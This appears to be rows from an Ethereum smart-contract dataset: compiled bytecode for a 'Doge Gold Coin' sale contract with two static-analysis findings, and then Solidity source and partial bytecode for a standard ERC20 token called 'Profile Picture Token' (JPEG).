505060405180910390f35b3480156103f657600080fd5b50610415600480360381019080803590602001909291905050506114ea565b005b34801561042357600080fd5b5061042c6116b6565b6040518082815260200191505060405180910390f35b34801561044e57600080fd5b50610483600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116bc565b6040518082815260200191505060405180910390f35b3480156104a557600080fd5b506104ae611705565b6040518082815260200191505060405180910390f35b3480156104d057600080fd5b5061050f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611710565b005b34801561051d57600080fd5b5061052661177a565b6040518082815260200191505060405180910390f35b34801561054857600080fd5b50610551611780565b6040518082815260200191505060405180910390f35b34801561057357600080fd5b5061057c611786565b005b34801561058a57600080fd5b5061059361186f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d35780820151818401526020810190506105b8565b50505050905090810190601f1680156106005780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561061a57600080fd5b506106236118a8565b604051808215151515815260200191505060405180910390f35b34801561064957600080fd5b5061066860048036038101908080359060200190929190505050611970565b005b34801561067657600080fd5b506106b5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a0d565b604051808215151515815260200191505060405180910390f35b6106d76109b5565b005b3480156106e557600080fd5b5061071a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c48565b604051808215151515815260200191505060405180910390f35b34801561074057600080fd5b50610749611c68565b604051808215151515815260200191505060405180910390f35b34801561076f57600080fd5b506107c4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c7b565b6040518082815260200191505060405180910390f35b3480156107e657600080fd5b506107ef611d66565b6040518082815260200191505060405180910390f35b34801561081157600080fd5b50610866600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d6c565b6040518082815260200191505060405180910390f35b34801561088857600080fd5b506108bd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611df3565b604051808215151515815260200191505060405180910390f35b3480156108e357600080fd5b506108ec612038565b6040518082815260200191505060405180910390f35b34801561090e57600080fd5b5061091761203e565b6040518082815260200191505060405180910390f35b34801561093957600080fd5b5061096e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612044565b005b34801561097c57600080fd5b506109b36004803603810190808035906020019082018035906020019190919293919293908035906020019092919050505061211b565b005b600080600080600080600080600d60149054906101000a900460ff161515156109dd57600080fd5b60009750600096506000955067016345785d8a000094506706f05b59d3b200009350670de0b6b3a76400009250670de0b6b3a7640000610a2834600a546121d090919063ffffffff16565b811515610a3157fe5b049750339150662386f26fc100003410158015610a4f575060055442105b8015610a5c575060075442105b8015610a69575060065442105b15610ae757843410158015610a7d57508334105b15610a99576064600a8902811515610a9157fe5b049550610ae2565b833410158015610aa857508234105b15610ac457606460148902811515610abc57fe5b049550610ae1565b8234101515610ae057606460238902811515610adc57fe5b0495505b5b5b610b71565b662386f26fc100003410158015610aff575060055442105b8015610b0c575060075442115b8015610b19575060065442105b15610b6b57833410158015610b2d57508234105b15610b4957606460028902811515610b4157fe5b049550610b66565b8234101515610b6557606460038902811515610b6157fe5b0495505b5b610b70565b600095505b5b85880196506000881415610c865764746a528800905060001515600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515148015610beb5750600b54600c5411155b15610c6a57610bfa8282612208565b506001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600c60008154809291906001019190505550610c81565b662386f26fc100003410151515610c8057600080fd5b5b610d1b565b600088118015610c9d5750662386f26fc100003410155b15610d03576005544210158015610cb657506007544210155b8015610cc3575060065442105b15610cd857610cd28289612208565b50610cfe565b8434101515610cf157610ceb8288612208565b50610cfd565b610cfb8289612208565b505b5b610d1a565b662386f26fc100003410151515610d1957600080fd5b5b5b600854600954101515610d44576001600d60146101000a81548160ff0219169083151502179055505b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610dac573d6000803e3d6000fd5b505050505050505050565b6040805190810160405280600e81526020017f446f676520476f6c6420436f696e00000000000000000000000000000000000081525081565b6000808214158015610e7f57506000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b15610e8d5760009050610f78565b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3600190505b92915050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fdc57600080fd5b610ff18260085461239490919063ffffffff16565b9050806008819055507f90f1f758f0e2b40929b1fd48df7ebe10afc272a362e1f0d63a90b8b4715d799f826040518082815260200191505060405180910390a15050565b60085481565b600060606004810160003690501015151561105257fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561108e57600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111515156110dc57600080fd5b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561116757600080fd5b6111b983600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b090919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061128b83600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b090919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061135d83600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461239490919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b60055481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561147557600080fd5b819050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156114e0573d6000803e3d6000fd5b505050565b600881565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561154857600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561159657600080fd5b3390506115eb82600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b090919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611643826008546123b090919063ffffffff16565b60088190555061165e826009546123b090919063ffffffff16565b6009819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b60065481565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b662386f26fc1000081565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561176c57600080fd5b61177682826123c9565b5050565b60075481565b600c5481565b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117e557600080fd5b3091508173ffffffffffffffffffffffffffffffffffffffff16319050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561186a573d6000803e3d6000fd5b505050565b6040805190810160405280600381526020017f444743000000000000000000000000000000000000000000000000000000000081525081565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561190657600080fd5b600d60149054906101000a900460ff1615151561192257600080fd5b6001600d60146101000a81548160ff0219169083151502179055507f7f95d919e78bdebe8a285e6e33357c2fcb65ccf66e72d7573f9f8f6caad0c4cc60405160405180910390a16001905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119cc57600080fd5b80600a819055507ff7729fa834bbef70b6d3257c2317a562aa88b56c81b544814f93dc5963a2c003816040518082815260200191505060405180910390a150565b6000604060048101600036905010151515611a2457fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515611a6057600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515611aae57600080fd5b611b0083600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b090919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b9583600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461239490919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b60046020528060005260406000206000915054906101000a900460ff1681565b600d60149054906101000a900460ff1681565b60008060008491508173ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611d1e57600080fd5b505af1158015611d32573d6000803e3d6000fd5b505050506040513d6020811015611d4857600080fd5b81019080805190602001909291905050509050809250505092915050565b600a5481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e5457600080fd5b8391508173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611ef257600080fd5b505af1158015611f06573d6000803e3d6000fd5b505050506040513d6020811015611f1c57600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611ff457600080fd5b505af1158015612008573d6000803e3d6000fd5b505050506040513d602081101561201e57600080fd5b810190808051906020019092919050505092505050919050565b600b5481565b60095481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156120a057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156121185780600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561217957600080fd5b600090505b838390508110156121ca576121bd848483818110151561219a57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff16836123c9565b808060010191505061217e565b50505050565b6000808314156121e35760009050612202565b81830290508183828115156121f457fe5b041415156121fe57fe5b8090505b92915050565b6000600d60149054906101000a900460ff1615151561222657600080fd5b61223b8260095461239490919063ffffffff16565b60098190555061229382600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461239490919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f8940c4b8e215f8822c5c8f0056c12652c746cbc57eedbd2a440b175971d47a77836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600081830190508281101515156123a757fe5b80905092915050565b60008282111515156123be57fe5b818303905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561242557600080fd5b60008111151561243457600080fd5b60085460095410151561244657600080fd5b61249881600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461239490919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124f08160095461239490919063ffffffff16565b60098190555060085460095410151561251f576001600d60146101000a81548160ff0219169083151502179055505b8173ffffffffffffffffffffffffffffffffffffffff167fada993ad066837289fe186cd37227aa338d27519a8a1547472ecb9831486d27282600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808381526020018281526020019250505060405180910390a28173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505600a165627a7a7230582041dc228c2c60fa251e47d489b2aa2f1e563998598aff5db5d1a42fad261fc25b0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 9,015 |
0x1bf4307043ae89b875d26aad968e1c584bb3360e
|
/**
*Submitted for verification at Etherscan.io on 2021-08-06
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract JPEGToken is ERC20 {
constructor() ERC20('Profile Picture Token', 'JPEG') {
_mint(msg.sender, 10000*(10**18));
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190610e35565b60405180910390f35b6100e660048036038101906100e19190610c83565b610308565b6040516100f39190610e1a565b60405180910390f35b610104610326565b6040516101119190610f37565b60405180910390f35b610134600480360381019061012f9190610c34565b610330565b6040516101419190610e1a565b60405180910390f35b610152610428565b60405161015f9190610f52565b60405180910390f35b610182600480360381019061017d9190610c83565b610431565b60405161018f9190610e1a565b60405180910390f35b6101b260048036038101906101ad9190610bcf565b6104dd565b6040516101bf9190610f37565b60405180910390f35b6101d0610525565b6040516101dd9190610e35565b60405180910390f35b61020060048036038101906101fb9190610c83565b6105b7565b60405161020d9190610e1a565b60405180910390f35b610230600480360381019061022b9190610c83565b6106a2565b60405161023d9190610e1a565b60405180910390f35b610260600480360381019061025b9190610bf8565b6106c0565b60405161026d9190610f37565b60405180910390f35b60606003805461028590611067565b80601f01602080910402602001604051908101604052809291908181526020018280546102b190611067565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c610315610747565b848461074f565b6001905092915050565b6000600254905090565b600061033d84848461091a565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610388610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff90610eb7565b60405180910390fd5b61041c85610414610747565b85840361074f565b60019150509392505050565b60006012905090565b60006104d361043e610747565b84846001600061044c610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104ce9190610f89565b61074f565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606004805461053490611067565b80601f016020809104026020016040519081016040528092919081815260200182805461056090611067565b80156105ad5780601f10610582576101008083540402835291602001916105ad565b820191906000526020600020905b81548152906001019060200180831161059057829003601f168201915b5050505050905090565b600080600160006105c6610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610683576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067a90610f17565b60405180910390fd5b61069761068e610747565b8585840361074f565b600191505092915050565b60006106b66106af610747565b848461091a565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b690610ef7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561082f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082690610e77565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161090d9190610f37565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff16837